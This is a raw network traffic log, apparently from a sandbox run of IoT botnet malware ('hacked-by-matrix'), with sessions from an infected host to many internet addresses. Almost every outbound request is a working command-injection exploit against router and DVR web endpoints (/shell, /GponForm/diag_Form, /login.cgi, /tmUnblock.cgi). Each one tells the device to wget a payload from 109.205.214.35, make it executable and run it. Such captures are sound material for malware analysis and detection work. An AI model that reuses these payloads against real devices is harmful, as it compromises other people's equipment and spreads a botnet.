Mar 21, 2024 05:22:46.554161072 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:46.675668001 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close
Mar 21, 2024 05:22:47.222150087 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close
Mar 21, 2024 05:22:47.893558025 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close
Mar 21, 2024 05:22:49.205609083 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
936	192.168.2.14	44336	140.150.204.234	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.386986971 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:51.580735922 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:51.696997881 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:22:51 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
937	192.168.2.14	40422	210.228.201.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.399255991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
938	192.168.2.14	37670	35.192.57.65	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.997136116 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:48.113215923 CET	174	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
939	192.168.2.14	54614	69.163.212.21	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.032167912 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:48.208131075 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:48 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
940	192.168.2.14	36766	54.203.21.89	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.044133902 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
941	192.168.2.14	57462	172.67.218.117	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.052325010 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:48.139843941 CET	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Thu, 21 Mar 2024 04:22:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
942	192.168.2.14	36740	194.12.69.93	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.105106115 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
943	192.168.2.14	57102	212.25.178.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:49.164361000 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:49.358445883 CET	559	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:49 GMT Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 264 Connection: close Content-Type: text/html; charset=iso-8859-1 X-Pad: avoid browser bug Data Raw: 1f 8b 08 00 00 00 00 00 00 03 55 90 41 4f c3 30 0c 85 ef fd 15 66 27 38 10 87 c2 61 93 a2 48 6c 2d 62 52 61 d5 5a 0e 3b a1 74 b1 68 a5 2e 29 49 ca c4 bf 27 5d e1 c0 c5 92 fd 9e fd e9 59 5c 65 bb 4d 7d 28 73 78 ae 5f 0a 28 df d6 c5 76 03 8b 5b c4 6d 5e 3f 21 66 75 36 2b 29 e3 88 f9 eb 42 26 a2 0d a7 5e 8a 96 94 8e 4d e8 42 4f f2 81 73 58 2b 0d 7b fa 1c c9 07 81 f3 38 11 78 b1 89 c6 ea ef 69 f3 4e fe 73 c5 3e 11 83 3c d8 d1 41 e3 ec d9 93 03 4f 26 80 02 37 7b 20 b4 6a 2a 9d 8f 82 fb 8a fa d1 8e bd 06 63 03 8c 46 93 f3 41 19 cd 44 e3 00 27 dc 30 51 5c 2c 4a 6b 47 de cb c7 41 1d 5b c2 94 a5 6c 05 d7 19 35 9d 32 37 70 b2 fa dd fb fe 77 bc 1b c8 54 55 81 9c ad d8 f2 03 aa 19 14 b9 9e 42 cb ef 99 27 3a 53 c3 ba 00 a5 75 01 96 5c e0 df f9 88 bc 64 8b 59 a6 af 24 3f 25 5f aa fc 50 01 00 00 Data Ascii: UAO0f'8aHl-bRaZ;th.)I']Y\eM}(sx_(v[m^?!fu6+)B&^MBOsX+{8xiNs><AO&7{ j*cFAD'0Q\,JkGA[l527pwTUB':Su\dY$?%_P

Session ID	Source IP	Source Port	Destination IP	Destination Port
944	192.168.2.14	37116	52.7.206.25	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:49.286591053 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:49.948762894 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:50.042640924 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:22:49 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
945	192.168.2.14	35478	44.196.228.54	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:49.344538927 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:49.854188919 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:49.957854986 CET	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
946	192.168.2.14	35150	172.65.57.137	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:49.507105112 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
947	192.168.2.14	36030	172.65.20.93	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:49.507128000 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
948	192.168.2.14	59898	172.65.86.16	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:49.609642982 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
949	192.168.2.14	49718	2.197.32.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.421303988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
950	192.168.2.14	50702	212.169.15.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.421339989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
951	192.168.2.14	52864	210.220.110.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.421365023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
952	192.168.2.14	60594	178.196.221.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.421366930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
953	192.168.2.14	38328	212.85.112.164	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:51.402834892 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:51.614819050 CET	285	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:51 GMT Content-Type: text/html Content-Length: 128 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
954	192.168.2.14	48586	172.65.74.60	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:51.647819996 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
955	192.168.2.14	58144	172.67.8.147	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:51.735692978 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
956	192.168.2.14	59610	172.67.198.221	8080

Timestamp	Bytes transferred	Direction	Data
